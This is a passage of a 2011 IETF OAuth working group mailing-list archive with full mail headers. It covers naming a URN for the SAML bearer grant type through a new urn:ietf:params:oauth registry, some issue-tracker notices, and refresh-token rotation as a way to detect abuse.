method for defining extension = grant types[2]. The first specification to use this method needs to pick = a URI identifier for using SAML assertions [3]. Options proposed: > =20 > urn:oasis:names:tc:SAML:2.0:assertion > urn:ietf:wg:oauth:2.0:grant_type:saml:2.0:bearer > http://oauth.net/grant_type/saml/2.0/bearer > =20 > Is there a BCP established for this? We need to pick a value quickly = and move on. > =20 > EHL > =20 > [1] http://tools.ietf.org/html/draft-ietf-oauth-v2-18 > [2] http://tools.ietf.org/html/draft-ietf-oauth-v2-18#section-8.3 > [3] http://tools.ietf.org/html/draft-ietf-oauth-saml2-bearer-04 > =20 > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth From hannes.tschofenig@gmx.net Sat Jul 9 10:04:12 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id A64FC21F868D for ; Sat, 9 Jul 2011 10:04:12 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -102.585 X-Spam-Level: X-Spam-Status: No, score=-102.585 tagged_above=-999 required=5 tests=[AWL=0.014, BAYES_00=-2.599, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 2Xtt5NWweqJa for ; Sat, 9 Jul 2011 10:04:12 -0700 (PDT) Received: from mailout-de.gmx.net (mailout-de.gmx.net [213.165.64.22]) by ietfa.amsl.com (Postfix) with SMTP id D924A21F8785 for ; Sat, 9 Jul 2011 10:04:11 -0700 (PDT) Received: (qmail invoked by alias); 09 Jul 2011 17:04:10 -0000 Received: from letku214.adsl.netsonic.fi (EHLO [10.0.0.6]) [194.29.195.214] by mail.gmx.net (mp036) with SMTP; 09 Jul 2011 19:04:10 +0200 X-Authenticated: #29516787 X-Provags-ID: V01U2FsdGVkX1+fKuUD8RifSmUm6rNaJ2rNfJuaKyabkkVW0iDjyC G2ZaMcUuoTRYz1 Mime-Version: 1.0 (Apple Message framework v1084) Content-Type: text/plain; charset=us-ascii From: Hannes Tschofenig In-Reply-To: Date: Sat, 9 Jul 2011 20:04:09 +0300 Content-Transfer-Encoding: quoted-printable Message-Id: References: <90C41DD21FB7C64BB94121FBBC2E7234501D4A0143@P3PW5EX1MB01.EX1.SECURESERVER.NET> To: Hannes Tschofenig X-Mailer: Apple Mail (2.1084) X-Y-GMX-Trusted: 0 Cc: "apps-discuss@ietf.org" , OAuth WG Subject: Re: [OAUTH-WG] URI for OAuth SAML assertion grant type X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 09 Jul 2011 17:04:12 -0000 On Jul 9, 2011, at 7:40 PM, Hannes Tschofenig wrote: > Other grant types would then go in = urn:ietf:params:oauth:grant-type:saml2-holder-of-the-key This sentence from my earlier mail could be misunderstood. To pick = Mike's example for the JWT assertion profile we would then register = something like:=20 urn:ietf:params:oauth:grant-type:jwt1.0-bearer From bcampbell@pingidentity.com Sat Jul 9 12:28:38 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id D462E21F89BC; Sat, 9 Jul 2011 12:28:38 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -5.941 X-Spam-Level: X-Spam-Status: No, score=-5.941 tagged_above=-999 required=5 tests=[AWL=0.036, BAYES_00=-2.599, FM_FORGED_GMAIL=0.622, RCVD_IN_DNSWL_MED=-4] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id UwfTwQiCbyv2; Sat, 9 Jul 2011 12:28:37 -0700 (PDT) Received: from na3sys009aog115.obsmtp.com (na3sys009aog115.obsmtp.com [74.125.149.238]) by ietfa.amsl.com (Postfix) with ESMTP id 6BFF421F899D; Sat, 9 Jul 2011 12:28:37 -0700 (PDT) Received: from mail-qy0-f180.google.com ([209.85.216.180]) (using TLSv1) by na3sys009aob115.postini.com ([74.125.148.12]) with SMTP ID DSNKThir5AEPuZTpXMzU+Ezv6gP48tXhWs5V@postini.com; Sat, 09 Jul 2011 12:28:37 PDT Received: by mail-qy0-f180.google.com with SMTP id 30so2374839qyk.18 for ; Sat, 09 Jul 2011 12:28:36 -0700 (PDT) Received: by 10.224.198.201 with SMTP id ep9mr2414806qab.126.1310239716231; Sat, 09 Jul 2011 12:28:36 -0700 (PDT) MIME-Version: 1.0 Received: by 10.224.28.201 with HTTP; Sat, 9 Jul 2011 12:28:06 -0700 (PDT) In-Reply-To: References: <90C41DD21FB7C64BB94121FBBC2E7234501D4A0143@P3PW5EX1MB01.EX1.SECURESERVER.NET> From: Brian Campbell Date: Sat, 9 Jul 2011 13:28:06 -0600 Message-ID: To: Hannes Tschofenig Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Cc: "apps-discuss@ietf.org" , OAuth WG Subject: Re: [OAUTH-WG] URI for OAuth SAML assertion grant type X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 09 Jul 2011 19:28:39 -0000 Thank you for taking the initiate to post this, Eran. And thank you, Hannes, for the detailed and actionable reply. If Eran is willing/able to do #1 & #2, I'd be more than happy to do #3. On Sat, Jul 9, 2011 at 10:40 AM, Hannes Tschofenig wrote: > Hi Eran, > > http://oauth.net/grant_type/saml/2.0/bearer is definitely not a good idea= since a lookup would not return anything useful (most likely it will just = fail). > Whenever there is something that can be looked up, it will be looked up . > > I would create an IETF URN Sub-namespace, as documented in RFC 3553. An e= xample of such a sub-namespace is xml and described in RFC 3688. > So, one could define a new 'oauth' sub-namespace. This would then look li= ke urn:ietf:params:oauth. Then, OAuth relevant parameters would be establis= hed underneath it. > > To get this done three things are needed: > > 1) Text that requests the oauth sub-namespace text > This text has to go into draft-ietf-oauth-v2. > > 2) Text that defines how values are added to this new registry > This text has to go into draft-ietf-oauth-v2. > > 3) Text that registers already defined values. > This text would go into draft-ietf-oauth-saml2-bearer following the templ= ate created with (2). > > Regarding (1), example text could look like: > > --------- > > IETF URN Sub-namespace Registration urn:ietf:params:oauth > > =A0 Per [RFC3553], IANA is requested to establish the following registry.= =A0New entries > =A0 to the registry are Specification Required. > > =A0 Registry name: urn:ietf:params:oauth > > =A0 Specification: =A0Section X of this document contains the registry sp= ecification. > > =A0 Repository: To be assigned according to the guidelines found above. > > =A0 Index value: The class name > > --------- > > Regarding (2), example text could look like: > > --------- > > Section X: Registration Template for Sub-Namspace Registration of urn:iet= f:params:oauth > > =A0 If the registrant wishes to > =A0 have a URI assigned, then a URN of the form > > =A0 =A0 =A0urn:ietf:params:oauth:: > > =A0 will be assigned where is the category of the parameters bein= g registered. =A0 is a unique id generated by the IANA > =A0 based on any means the IANA deems necessary to maintain uniqueness > =A0 and persistence. =A0NOTE: in order for a URN of this type to be > =A0 assigned, the item being registered MUST be documented > =A0 in a RFC. =A0The RFC 3553 [RFC3553] URN registration template is foun= d > =A0 in the IANA consideration section of this document. > > =A0 The registration procedure for new entries to the requires a request = in the form of the following template: > > =A0 URN: > =A0 =A0 =A0The token URI that identifies the registerd component. If > =A0 =A0 =A0the registrant is requesting that the IANA assign a URI then t= his > =A0 =A0 =A0field should be specified as "please assign". > > =A0 Common Name: > =A0 =A0 =A0The name by which the functionality being registered is genera= lly referred. > > =A0 Registrant Contact: > =A0 =A0 =A0The individual/organization that is the registration contact f= or > =A0 =A0 =A0the component being registered. =A0Ideally, this will be the n= ame > =A0 =A0 =A0and pertinent physical and network contact information. =A0In = the > =A0 =A0 =A0case of IETF developed standards, the Registrant will be the I= ESG. > > =A0 Description: > =A0 =A0 =A0Information about the registered functionality. > > > --------- > > Regarding (3), example text could look like: > > --------- > > Sub-Namspace Registration of urn:ietf:params:oauth:grant-type:saml2-beare= r > > This is a request to IANA to please register the value grant-type:saml2-b= earer in the registry urn:ietf:params:oauth established in [draft-ietf-oaut= h-v2]. > > =A0 URN: urn:ietf:params:oauth:grant-type:saml2-bearer > > =A0 Common Name: SAML 2.0 Bearer Assertion Grant Type Profile for OAuth 2= .0 > > =A0 Registrant Contact: IESG > > =A0 Description: [[this document]] > > --------- > > Other grant types would then go in urn:ietf:params:oauth:grant-type:saml2= -holder-of-the-key > Other OAuth related parameters then go under urn:ietf:params:oauth:foobar > > Ciao > Hannes > > > On Jul 9, 2011, at 6:17 PM, Eran Hammer-Lahav wrote: > >> The OAuth WG is looking for assistance from the application area communi= ty. >> >> OAuth 2.0 [1] defines a URI-namespaced method for defining extension gra= nt types[2]. The first specification to use this method needs to pick a URI= identifier for using SAML assertions [3]. Options proposed: >> >> urn:oasis:names:tc:SAML:2.0:assertion >> urn:ietf:wg:oauth:2.0:grant_type:saml:2.0:bearer >> http://oauth.net/grant_type/saml/2.0/bearer >> >> Is there a BCP established for this? We need to pick a value quickly and= move on. >> >> EHL >> >> [1] http://tools.ietf.org/html/draft-ietf-oauth-v2-18 >> [2] http://tools.ietf.org/html/draft-ietf-oauth-v2-18#section-8.3 >> [3] http://tools.ietf.org/html/draft-ietf-oauth-saml2-bearer-04 >> >> _______________________________________________ >> OAuth mailing list >> OAuth@ietf.org >> https://www.ietf.org/mailman/listinfo/oauth > > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth > From eran@hueniverse.com Sat Jul 9 12:52:37 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id DE44221F8A1B for ; Sat, 9 Jul 2011 12:52:37 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.633 X-Spam-Level: X-Spam-Status: No, score=-2.633 tagged_above=-999 required=5 tests=[AWL=-0.034, BAYES_00=-2.599] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id RJkqiQTszV3H for ; Sat, 9 Jul 2011 12:52:35 -0700 (PDT) Received: from p3plex1out01.prod.phx3.secureserver.net (p3plex1out01.prod.phx3.secureserver.net [72.167.180.17]) by ietfa.amsl.com (Postfix) with SMTP id CCCC521F8A14 for ; Sat, 9 Jul 2011 12:52:35 -0700 (PDT) Received: (qmail 1288 invoked from network); 9 Jul 2011 19:52:35 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.21) by p3plex1out01.prod.phx3.secureserver.net with SMTP; 9 Jul 2011 19:52:34 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT003.EX1.SECURESERVER.NET ([72.167.180.21]) with mapi; Sat, 9 Jul 2011 12:52:34 -0700 From: Eran Hammer-Lahav To: Brian Campbell , Hannes Tschofenig Date: Sat, 9 Jul 2011 12:52:27 -0700 Thread-Topic: [OAUTH-WG] URI for OAuth SAML assertion grant type Thread-Index: Acw+bmohjc0q7JTPQHuRAt5JKjpasAAAzLog Message-ID: <90C41DD21FB7C64BB94121FBBC2E7234501D4A0157@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <90C41DD21FB7C64BB94121FBBC2E7234501D4A0143@P3PW5EX1MB01.EX1.SECURESERVER.NET> In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Cc: OAuth WG Subject: Re: [OAUTH-WG] URI for OAuth SAML assertion grant type X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 09 Jul 2011 19:52:38 -0000 (- apps-discuss) I don't have the bandwidth to do anything other than edit the v2 document. = Sorry. EHL > -----Original Message----- > From: Brian Campbell [mailto:bcampbell@pingidentity.com] > Sent: Saturday, July 09, 2011 12:28 PM > To: Hannes Tschofenig > Cc: Eran Hammer-Lahav; OAuth WG; apps-discuss@ietf.org > Subject: Re: [OAUTH-WG] URI for OAuth SAML assertion grant type >=20 > Thank you for taking the initiate to post this, Eran. And thank you, Han= nes, > for the detailed and actionable reply. >=20 > If Eran is willing/able to do #1 & #2, I'd be more than happy to do #3. >=20 > On Sat, Jul 9, 2011 at 10:40 AM, Hannes Tschofenig > wrote: > > Hi Eran, > > > > http://oauth.net/grant_type/saml/2.0/bearer is definitely not a good id= ea > since a lookup would not return anything useful (most likely it will just= fail). > > Whenever there is something that can be looked up, it will be looked up= . > > > > I would create an IETF URN Sub-namespace, as documented in RFC 3553. > An example of such a sub-namespace is xml and described in RFC 3688. > > So, one could define a new 'oauth' sub-namespace. This would then look > like urn:ietf:params:oauth. Then, OAuth relevant parameters would be > established underneath it. > > > > To get this done three things are needed: > > > > 1) Text that requests the oauth sub-namespace text This text has to go > > into draft-ietf-oauth-v2. > > > > 2) Text that defines how values are added to this new registry This > > text has to go into draft-ietf-oauth-v2. > > > > 3) Text that registers already defined values. > > This text would go into draft-ietf-oauth-saml2-bearer following the > template created with (2). > > > > Regarding (1), example text could look like: > > > > --------- > > > > IETF URN Sub-namespace Registration urn:ietf:params:oauth > > > > =A0 Per [RFC3553], IANA is requested to establish the following > > registry. =A0New entries > > =A0 to the registry are Specification Required. > > > > =A0 Registry name: urn:ietf:params:oauth > > > > =A0 Specification: =A0Section X of this document contains the registry > specification. > > > > =A0 Repository: To be assigned according to the guidelines found above. > > > > =A0 Index value: The class name > > > > --------- > > > > Regarding (2), example text could look like: > > > > --------- > > > > Section X: Registration Template for Sub-Namspace Registration of > > urn:ietf:params:oauth > > > > =A0 If the registrant wishes to > > =A0 have a URI assigned, then a URN of the form > > > > =A0 =A0 =A0urn:ietf:params:oauth:: > > > > =A0 will be assigned where is the category of the parameters > > being registered. =A0 is a unique id generated by the IANA > > =A0 based on any means the IANA deems necessary to maintain uniqueness > > =A0 and persistence. =A0NOTE: in order for a URN of this type to be > > =A0 assigned, the item being registered MUST be documented > > =A0 in a RFC. =A0The RFC 3553 [RFC3553] URN registration template is fo= und > > =A0 in the IANA consideration section of this document. > > > > =A0 The registration procedure for new entries to the requires a reques= t in the > form of the following template: > > > > =A0 URN: > > =A0 =A0 =A0The token URI that identifies the registerd component. If > > =A0 =A0 =A0the registrant is requesting that the IANA assign a URI then= this > > =A0 =A0 =A0field should be specified as "please assign". > > > > =A0 Common Name: > > =A0 =A0 =A0The name by which the functionality being registered is gene= rally > referred. > > > > =A0 Registrant Contact: > > =A0 =A0 =A0The individual/organization that is the registration contact= for > > =A0 =A0 =A0the component being registered. =A0Ideally, this will be the= name > > =A0 =A0 =A0and pertinent physical and network contact information. =A0I= n the > > =A0 =A0 =A0case of IETF developed standards, the Registrant will be the= IESG. > > > > =A0 Description: > > =A0 =A0 =A0Information about the registered functionality. > > > > > > --------- > > > > Regarding (3), example text could look like: > > > > --------- > > > > Sub-Namspace Registration of > > urn:ietf:params:oauth:grant-type:saml2-bearer > > > > This is a request to IANA to please register the value grant-type:saml2= - > bearer in the registry urn:ietf:params:oauth established in [draft-ietf-o= auth- > v2]. > > > > =A0 URN: urn:ietf:params:oauth:grant-type:saml2-bearer > > > > =A0 Common Name: SAML 2.0 Bearer Assertion Grant Type Profile for OAuth > > 2.0 > > > > =A0 Registrant Contact: IESG > > > > =A0 Description: [[this document]] > > > > --------- > > > > Other grant types would then go in > > urn:ietf:params:oauth:grant-type:saml2-holder-of-the-key > > Other OAuth related parameters then go under > > urn:ietf:params:oauth:foobar > > > > Ciao > > Hannes > > > > > > On Jul 9, 2011, at 6:17 PM, Eran Hammer-Lahav wrote: > > > >> The OAuth WG is looking for assistance from the application area > community. > >> > >> OAuth 2.0 [1] defines a URI-namespaced method for defining extension > grant types[2]. The first specification to use this method needs to pick = a URI > identifier for using SAML assertions [3]. Options proposed: > >> > >> urn:oasis:names:tc:SAML:2.0:assertion > >> urn:ietf:wg:oauth:2.0:grant_type:saml:2.0:bearer > >> http://oauth.net/grant_type/saml/2.0/bearer > >> > >> Is there a BCP established for this? We need to pick a value quickly a= nd > move on. > >> > >> EHL > >> > >> [1] http://tools.ietf.org/html/draft-ietf-oauth-v2-18 > >> [2] http://tools.ietf.org/html/draft-ietf-oauth-v2-18#section-8.3 > >> [3] http://tools.ietf.org/html/draft-ietf-oauth-saml2-bearer-04 > >> > >> _______________________________________________ > >> OAuth mailing list > >> OAuth@ietf.org > >> https://www.ietf.org/mailman/listinfo/oauth > > > > _______________________________________________ > > OAuth mailing list > > OAuth@ietf.org > > https://www.ietf.org/mailman/listinfo/oauth > > From trac+oauth@trac.tools.ietf.org Sat Jul 9 14:13:22 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 04F5B21F896B for ; Sat, 9 Jul 2011 14:13:22 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -102.6 X-Spam-Level: X-Spam-Status: No, score=-102.6 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, NO_RELAYS=-0.001, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id DUrxcewUgFmP for ; Sat, 9 Jul 2011 14:13:21 -0700 (PDT) Received: from zinfandel.tools.ietf.org (zinfandel.tools.ietf.org [IPv6:2001:1890:1112:1::2a]) by ietfa.amsl.com (Postfix) with ESMTP id 7E3CD21F894F for ; Sat, 9 Jul 2011 14:13:21 -0700 (PDT) Received: from localhost ([::1] helo=zinfandel.tools.ietf.org) by zinfandel.tools.ietf.org with esmtp (Exim 4.76) (envelope-from ) id 1Qfeq0-000826-2n; Sat, 09 Jul 2011 14:13:20 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 8bit From: "oauth issue tracker" X-Trac-Version: 0.11.7 Precedence: bulk Auto-Submitted: auto-generated X-Mailer: Trac 0.11.7, by Edgewall Software To: barryleiba@computer.org X-Trac-Project: oauth Date: Sat, 09 Jul 2011 21:13:20 -0000 X-URL: http://tools.ietf.org/oauth/ X-Trac-Ticket-URL: http://trac.tools.ietf.org/wg/oauth/trac/ticket/22 Message-ID: <063.707240208e9ab0af6aaf9ec7f599e841@trac.tools.ietf.org> X-Trac-Ticket-ID: 22 X-SA-Exim-Connect-IP: ::1 X-SA-Exim-Rcpt-To: barryleiba@computer.org, oauth@ietf.org X-SA-Exim-Mail-From: trac+oauth@trac.tools.ietf.org X-SA-Exim-Scanned: No (on zinfandel.tools.ietf.org); SAEximRunCond expanded to false Cc: oauth@ietf.org Subject: [OAUTH-WG] [oauth] #22: In final review before WG last call X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 09 Jul 2011 21:13:22 -0000 #22: In final review before WG last call -- -------------------------------------+-------------------------------------- Reporter: barryleiba@… | Owner: Type: state | Status: new Priority: information | Milestone: Deliver OAuth 2.0 spec Component: v2 | Version: Severity: Active WG Document | Keywords: -------------------------------------+-------------------------------------- Ticket URL: oauth From trac+oauth@trac.tools.ietf.org Sat Jul 9 14:16:21 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 44EAD21F8A6E for ; Sat, 9 Jul 2011 14:16:21 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -102.6 X-Spam-Level: X-Spam-Status: No, score=-102.6 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, NO_RELAYS=-0.001, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 0aEzqrqrGs8d for ; Sat, 9 Jul 2011 14:16:20 -0700 (PDT) Received: from zinfandel.tools.ietf.org (zinfandel.tools.ietf.org [IPv6:2001:1890:1112:1::2a]) by ietfa.amsl.com (Postfix) with ESMTP id D523E21F8A4F for ; Sat, 9 Jul 2011 14:16:13 -0700 (PDT) Received: from localhost ([::1] helo=zinfandel.tools.ietf.org) by zinfandel.tools.ietf.org with esmtp (Exim 4.76) (envelope-from ) id 1Qfesn-0001gK-QF; Sat, 09 Jul 2011 14:16:13 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 8bit From: "oauth issue tracker" X-Trac-Version: 0.11.7 Precedence: bulk Auto-Submitted: auto-generated X-Mailer: Trac 0.11.7, by Edgewall Software To: barryleiba@computer.org X-Trac-Project: oauth Date: Sat, 09 Jul 2011 21:16:13 -0000 X-URL: http://tools.ietf.org/oauth/ X-Trac-Ticket-URL: http://trac.tools.ietf.org/wg/oauth/trac/ticket/22#comment:1 Message-ID: <072.0c53ea953b82da24b0e4ffdad1b8b24f@trac.tools.ietf.org> References: <063.707240208e9ab0af6aaf9ec7f599e841@trac.tools.ietf.org> X-Trac-Ticket-ID: 22 In-Reply-To: <063.707240208e9ab0af6aaf9ec7f599e841@trac.tools.ietf.org> X-SA-Exim-Connect-IP: ::1 X-SA-Exim-Rcpt-To: barryleiba@computer.org, oauth@ietf.org X-SA-Exim-Mail-From: trac+oauth@trac.tools.ietf.org X-SA-Exim-Scanned: No (on zinfandel.tools.ietf.org); SAEximRunCond expanded to false Cc: oauth@ietf.org Subject: Re: [OAUTH-WG] [oauth] #22: In final review before WG last call X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 09 Jul 2011 21:16:21 -0000 #22: In final review before WG last call Changes (by barryleiba@…): * owner: => barryleiba@… -- -------------------------------------+-------------------------------------- Reporter: barryleiba@… | Owner: barryleiba@… Type: state | Status: new Priority: information | Milestone: Deliver OAuth 2.0 spec Component: v2 | Version: Severity: Active WG Document | Keywords: -------------------------------------+-------------------------------------- Ticket URL: oauth From trac+oauth@trac.tools.ietf.org Sat Jul 9 14:16:55 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id B29CD21F85C5 for ; Sat, 9 Jul 2011 14:16:55 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -102.6 X-Spam-Level: X-Spam-Status: No, score=-102.6 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, NO_RELAYS=-0.001, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id NHjqLk-r+--g for ; Sat, 9 Jul 2011 14:16:55 -0700 (PDT) Received: from zinfandel.tools.ietf.org (zinfandel.tools.ietf.org [IPv6:2001:1890:1112:1::2a]) by ietfa.amsl.com (Postfix) with ESMTP id 64D2321F85C4 for ; Sat, 9 Jul 2011 14:16:55 -0700 (PDT) Received: from localhost ([::1] helo=zinfandel.tools.ietf.org) by zinfandel.tools.ietf.org with esmtp (Exim 4.76) (envelope-from ) id 1QfetT-0002zj-Bt; Sat, 09 Jul 2011 14:16:55 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 8bit From: "oauth issue tracker" X-Trac-Version: 0.11.7 Precedence: bulk Auto-Submitted: auto-generated X-Mailer: Trac 0.11.7, by Edgewall Software To: barryleiba@computer.org X-Trac-Project: oauth Date: Sat, 09 Jul 2011 21:16:55 -0000 X-URL: http://tools.ietf.org/oauth/ X-Trac-Ticket-URL: http://trac.tools.ietf.org/wg/oauth/trac/ticket/22#comment:2 Message-ID: <072.a8950675506744d643d085587c03352c@trac.tools.ietf.org> References: <063.707240208e9ab0af6aaf9ec7f599e841@trac.tools.ietf.org> X-Trac-Ticket-ID: 22 In-Reply-To: <063.707240208e9ab0af6aaf9ec7f599e841@trac.tools.ietf.org> X-SA-Exim-Connect-IP: ::1 X-SA-Exim-Rcpt-To: barryleiba@computer.org, oauth@ietf.org X-SA-Exim-Mail-From: trac+oauth@trac.tools.ietf.org X-SA-Exim-Scanned: No (on zinfandel.tools.ietf.org); SAEximRunCond expanded to false Cc: oauth@ietf.org Subject: Re: [OAUTH-WG] [oauth] #22: In final review before WG last call X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 09 Jul 2011 21:16:55 -0000 #22: In final review before WG last call Changes (by barryleiba@…): * status: new => assigned -- -------------------------------------+-------------------------------------- Reporter: barryleiba@… | Owner: barryleiba@… Type: state | Status: assigned Priority: information | Milestone: Deliver OAuth 2.0 spec Component: v2 | Version: Severity: Active WG Document | Keywords: -------------------------------------+-------------------------------------- Ticket URL: oauth From torsten@lodderstedt.net Sun Jul 10 01:21:23 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 2383A21F8A7E for ; Sun, 10 Jul 2011 01:21:23 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.248 X-Spam-Level: X-Spam-Status: No, score=-2.248 tagged_above=-999 required=5 tests=[AWL=-0.000, BAYES_00=-2.599, HELO_EQ_DE=0.35, HTML_MESSAGE=0.001] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 5+hXsCPusP3a for ; Sun, 10 Jul 2011 01:21:22 -0700 (PDT) Received: from smtprelay05.ispgateway.de (smtprelay05.ispgateway.de [80.67.31.100]) by ietfa.amsl.com (Postfix) with ESMTP id 0CD3C21F89F2 for ; Sun, 10 Jul 2011 01:21:21 -0700 (PDT) Received: from [88.249.48.57] (helo=[192.168.179.140]) by smtprelay05.ispgateway.de with esmtpsa (TLSv1:RC4-MD5:128) (Exim 4.68) (envelope-from ) id 1QfpGQ-0000kb-IJ; Sun, 10 Jul 2011 10:21:19 +0200 References: <90C41DD21FB7C64BB94121FBBC2E7234501D4A005B@P3PW5EX1MB01.EX1.SECURESERVER.NET> User-Agent: K-9 Mail for Android In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E7234501D4A005B@P3PW5EX1MB01.EX1.SECURESERVER.NET> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----07LE5JAY5870A8W41O35RNHJLT89KO" From: Torsten Lodderstedt Date: Sun, 10 Jul 2011 11:21:12 +0300 To: Eran Hammer-Lahav ,OAuth WG Message-ID: <152fee05-9248-45e5-a9b5-86e880e5b1f9@email.android.com> X-Df-Sender: torsten@lodderstedt-online.de Subject: Re: [OAUTH-WG] Refresh token security considerations X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 10 Jul 2011 08:21:23 -0000 ------07LE5JAY5870A8W41O35RNHJLT89KO Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit replacement of the refresh token with every access token refresh is an example. The authz server creates and returns a new refresh token value with every access token refreshment. The old value is invalidated and must not be used any further. Note: The authz server keeps track of all old (invalidated) refresh tokens. If a client presents one of those old refresh tokens, the legitimate client has been compromised most likely. The authz then revokes the refresh token and the associated access authorization. regards, Torsten. Eran Hammer-Lahav schrieb: “the authorization server SHOULD deploy other means to detect refresh token abuse†This requires an example. EHL ------07LE5JAY5870A8W41O35RNHJLT89KO Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 8bit replacement of the refresh token with every access token refresh is an example. The authz server creates and returns a new refresh token value with every access token refreshment. The old value is invalidated and must not be used any further. Note: The authz server keeps track of all old (invalidated) refresh tokens.

If a client presents one of those old refresh tokens, the legitimate client has been compromised most likely. The authz then revokes the refresh token and the associated access authorization.

regards,
Torsten.



Eran Hammer-Lahav <eran@hueniverse.com> schrieb:

“the authorization server SHOULD deploy other means to detect refresh token abuse”

 

This requires an example.

 

 

EHL

